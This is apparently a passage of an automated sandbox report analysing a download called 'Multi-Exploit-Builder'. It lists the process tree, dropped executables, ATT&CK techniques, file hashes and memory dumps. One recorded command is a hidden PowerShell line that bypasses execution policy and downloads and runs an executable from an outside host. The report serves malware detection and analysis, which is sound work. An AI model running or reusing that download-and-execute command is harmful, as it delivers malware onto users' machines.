  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,2752987684799458014,8374485060303398004,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5564 /prefetch:1
  2⤵
  PID:4604
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,2752987684799458014,8374485060303398004,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5768 /prefetch:1
  2⤵
  PID:2316
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,2752987684799458014,8374485060303398004,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5796 /prefetch:1
  2⤵
  PID:2968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,2752987684799458014,8374485060303398004,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3524 /prefetch:1
  2⤵
  PID:3552
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2056,2752987684799458014,8374485060303398004,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=4912 /prefetch:8
  2⤵
  PID:3940
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,2752987684799458014,8374485060303398004,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5220 /prefetch:1
  2⤵
  PID:4368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2056,2752987684799458014,8374485060303398004,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6064 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:492
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2056,2752987684799458014,8374485060303398004,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1256 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5464

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4564

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2508

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5252

C:\Users\Admin\Downloads\Multi-Exploit-Builder\Multi-Exploit-Builder\MultiExploitBuilder.exe
"C:\Users\Admin\Downloads\Multi-Exploit-Builder\Multi-Exploit-Builder\MultiExploitBuilder.exe"
1⤵
PID:5624
- C:\ProgramData\vshost\vshost.exe
  C:\ProgramData\\vshost\\vshost.exe ,.
  2⤵
  - Executes dropped EXE
  PID:5756
- C:\Users\Admin\Downloads\Multi-Exploit-Builder\Multi-Exploit-Builder\nssdbm3.cfg
  nssdbm3.cfg
  2⤵
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:5772
- C:\ProgramData\winst\winst.exe
  C:\ProgramData\\winst\\winst.exe v1kcMDAO5mm4TLTS8r0toruYaRdO9IttDITtXswUoj6Mw3m6hwc60ERw3IQrj3KH
  2⤵
  - Executes dropped EXE
  PID:5800

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:5160

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2248

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:3128

C:\Users\Admin\Downloads\Multi-Exploit-Builder\Multi-Exploit-Builder\MultiExploitBuilder.exe
"C:\Users\Admin\Downloads\Multi-Exploit-Builder\Multi-Exploit-Builder\MultiExploitBuilder.exe"
1⤵
PID:5384
- C:\Users\Admin\Downloads\Multi-Exploit-Builder\Multi-Exploit-Builder\nssdbm3.cfg
  nssdbm3.cfg
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:2576

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('www.site.com/server.exe','C:\Users\Admin\AppData\Local\Temp\Test.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\Test.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\vshost\vshost.exe

Filesize
238KB

MD5
4e6a7ee0e286ab61d36c26bd38996821

SHA1
820674b4c75290f8f667764bfb474ca8c1242732

SHA256
f67daf4bf2ad0e774bbd53f243e66806397036e5fde694f3856b27bc0463c0a3

SHA512
f9d99d960afce980421e654d1d541c1fdb81252615c48eed5c4a5c962cb20123d06dbdf383a37a476aa41e4ffabca30e95a8735739c35f66efbaa1dee8a9ba8a

Download Submit
C:\ProgramData\winst\winst.exe

Filesize
211KB

MD5
59238144771807b1cbc407b250d6b2c3

SHA1
6c9f87cca7e857e888cb19ea45cf82d2e2d29695

SHA256
8baa5811836c0b4a64810f6a7d6e1d31d7f80350c69643dc9594f58fd0233a7b

SHA512
cf2f8b84526ae8a1445a2d8a2b9099b164f80a7b7290f68058583b0b235395d749ad0b726c4e36d5e901c18d6946fd9b0dd76c20016b65dc7a3977f68ee4a220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
584971c8ba88c824fd51a05dddb45a98

SHA1
b7c9489b4427652a9cdd754d1c1b6ac4034be421

SHA256
e2d8de6c2323bbb3863ec50843d9b58a22e911fd626d31430658b9ea942cd307

SHA512
5dbf1a4631a04d1149d8fab2b8e0e43ccd97b7212de43b961b9128a8bf03329164fdeb480154a8ffea5835f28417a7d2b115b8bf8d578d00b13c3682aa5ca726

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
b28ef7d9f6d74f055cc49876767c886c

SHA1
d6b3267f36c340979f8fc3e012fdd02c468740bf

SHA256
fa6804456884789f4bdf9c3f5a4a8f29e0ededde149c4384072f3d8cc85bcc37

SHA512
491f893c8f765e5d629bce8dd5067cef4e2ebc558d43bfb05e358bca43e1a66ee1285519bc266fd0ff5b5e09769a56077b62ac55fa8797c1edf6205843356e75

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
288B

MD5
cf12dc2a65afee916bbcf722a37e87da

SHA1
f71fd2d6a07e4e1b76e901f34020de1eca4d8a78

SHA256
2424e0c2687e3bc91d69b222e8b3fac036700de637729fd881d8b1e3629dd9a6

SHA512
f3ba09ccb5ca399d9d2bc0c831a8eeee521a5e1521d5f423fe76c8e6b5196cb686584db583ab6e684c489337b649c4311626d5dde17d7637b6052fe88ee07360

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
856B

MD5
0663ac61bc17c2f508b2944d03880c9b

SHA1
f9e9991a6a68e5d4d5ff03819404fa0dc6b75e7f

SHA256
3ca8ead63a73509433f49b4eb063b1efc807e839bc03f847bf9becd160baf710

SHA512
7ddcb3230cdeee60d2425a4fc1f53b9b2ec3f2b16affe97083db56e66d6d02dbc05872ff7d3fcc9550f8c0f18c6d4570037aab77bf501ea719da6a8302d8c029

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
23f32bdf3a8f46380d93952ea91469a1

SHA1
8dcc0efb362f10c581c3bb0108e3ac65cd7b091d

SHA256
56bbff68996915b91b07add1c7dbaea4e08f1145b8bb4bb30b59d32692f5a6a6

SHA512
e05da73356032ee7fbfc96f87f54083ac5637421f9c361a403ae6205c975c2d935fed1fea2aefa7fe6694921fe3a35680c22d2a6161729e88c048b137628144c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
e3161a5364ac33f15985f499dabcf3d2

SHA1
c76c8a8e1ca789ad792ca5852478c6423618c5e1

SHA256
5df54eab76aaed019f3acd62e77aa4e6fbd692e62232a24a356b066d382ef2d6

SHA512
6b90c9635be9c9f67584b21448d4466706b08564ee6eb5c73242af7ec0155634fbf8f41a6c0a2a5529846619e27f166e9ee00f37d10ca84907d6caa02f1bca12

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
554e3000b73c5fa4171e27275e80e83c

SHA1
1bb167520ff0cb5998232d92b4a05e4ee3f7bc8f

SHA256
5bebda011fcf1d1a27aff7140780e8d3ae246d40e765ec4f430af0aed995b895

SHA512
d78dc65007c766cecaf6b67c3d471ac276acd17254e13819f57391f5960d0fb23f2f241e59fc90837cbff0c53ea3e1990bdb9f1397af7dc7eaffca2a0b8b02e8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
e4db88c9bdf935e412257e3e063e3b8e

SHA1
593ea04a1369b37b4b2c6da59fa63e0d8f93a143

SHA256
c5847f4c1a08d4d52ce7737113a48080287413d139806a8c9e54b968133f1581

SHA512
bb638488acda117eaf5d405e0c34ca5abdbbb9c26b665539967749b2c2291ef561a94752a0e16fea66c95d54112c3f10e19bfe2955df94041f12b233b4183a53

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
3ee3711853145377c893b4a6590454d9

SHA1
fe475a63c4dd785f89b1680b4ed987b4add46e57

SHA256
cf2e7695327a8ee57c7595a9218caaf79fc59e96523d095502761ba745696b5c

SHA512
190c108a1d4719c051befcc546fd9c76943ffa66260f66025a5f18ac4a38021d4aff77c6bca221e376bf00bd6ddcd66c428d185990ba215fbdd66b53e457a8e1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
980a859537aea909b641b6996193ef7d

SHA1
36a05c7f1d23d0eb4c4eac0234a8d6ff6ead7028

SHA256
c7ec3120ffecb522bc598b51e5dd0cc687f7a02b3980abd751b4c95e1ba215aa

SHA512
c379e7d26ca315bf009b599fd98df708892bb31ea01c5c290c712a273bf4839270965aa6f1babe0a1a04d7aa6ba0fb3c7f479e2fda8fe0b57238a2c509d6a0e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tqlk1cbk.cwh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Desktop\Exploit.lnk

Filesize
1KB

MD5
649b4bf89da101fc78fed8a3f08c8eb6

SHA1
65cdfa19767d29f11c5b812a6335aae5562c148b

SHA256
2947458f9065d75760fa5ffbbf5131d94f06f4185fed0d3ce10a7733c671bc76

SHA512
1c3a29ee2a25f37ae99d1d37afe1c9d260dc1af8116621d138128617884c00013a690fe8be65da214906a904d397ad1b7d137b685260e32eba27e6e85789da72

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 545052.crdownload

Filesize
2.3MB

MD5
f577a9e7c9e96118ad006891c4c1ba30

SHA1
c6d6809310be1a8f0455f3d87564de195e7cb184

SHA256
90e3936fceb6b3f57d18e4040443306a384a0856849fb12013c4fce2c745358f

SHA512
294bb25211bc0726228cff09df14e15247785f1ee2525cbaa7e0e21f13e7d23d69cd5d2cf4edcd5217769f035369138bc2d7472dc7aa38a9403490fa93a4e8df

Download Submit
memory/4876-1393-0x0000024B7F510000-0x0000024B7F532000-memory.dmp

Filesize
136KB

Download
memory/5772-188-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-172-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-214-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-212-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-210-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-208-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-206-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-204-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-199-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-196-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-194-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-192-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-202-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-187-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-182-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-190-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-184-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-180-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-178-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-177-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-175-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-200-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-170-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-169-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-164-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-162-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-158-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-156-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-152-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-166-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-160-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-737-0x0000000005500000-0x0000000005592000-memory.dmp

Filesize
584KB

Download
memory/5772-738-0x0000000005630000-0x000000000563A000-memory.dmp

Filesize
40KB

Download
memory/5772-739-0x0000000005790000-0x00000000057E6000-memory.dmp

Filesize
344KB

Download
memory/5772-740-0x0000000005A50000-0x0000000005A9A000-memory.dmp

Filesize
296KB

Download
memory/5772-154-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-779-0x0000000008C50000-0x0000000008CC8000-memory.dmp

Filesize
480KB

Download
memory/5772-151-0x00000000053A0000-0x0000000005458000-memory.dmp

Filesize
736KB

Download
memory/5772-150-0x0000000005460000-0x00000000054FC000-memory.dmp

Filesize
624KB

Download
memory/5772-149-0x00000000053A0000-0x000000000545E000-memory.dmp

Filesize
760KB

Download
memory/5772-148-0x0000000004DF0000-0x0000000005394000-memory.dmp

Filesize
5.6MB

Download
memory/5772-147-0x0000000004D30000-0x0000000004DF0000-memory.dmp

Filesize
768KB

Download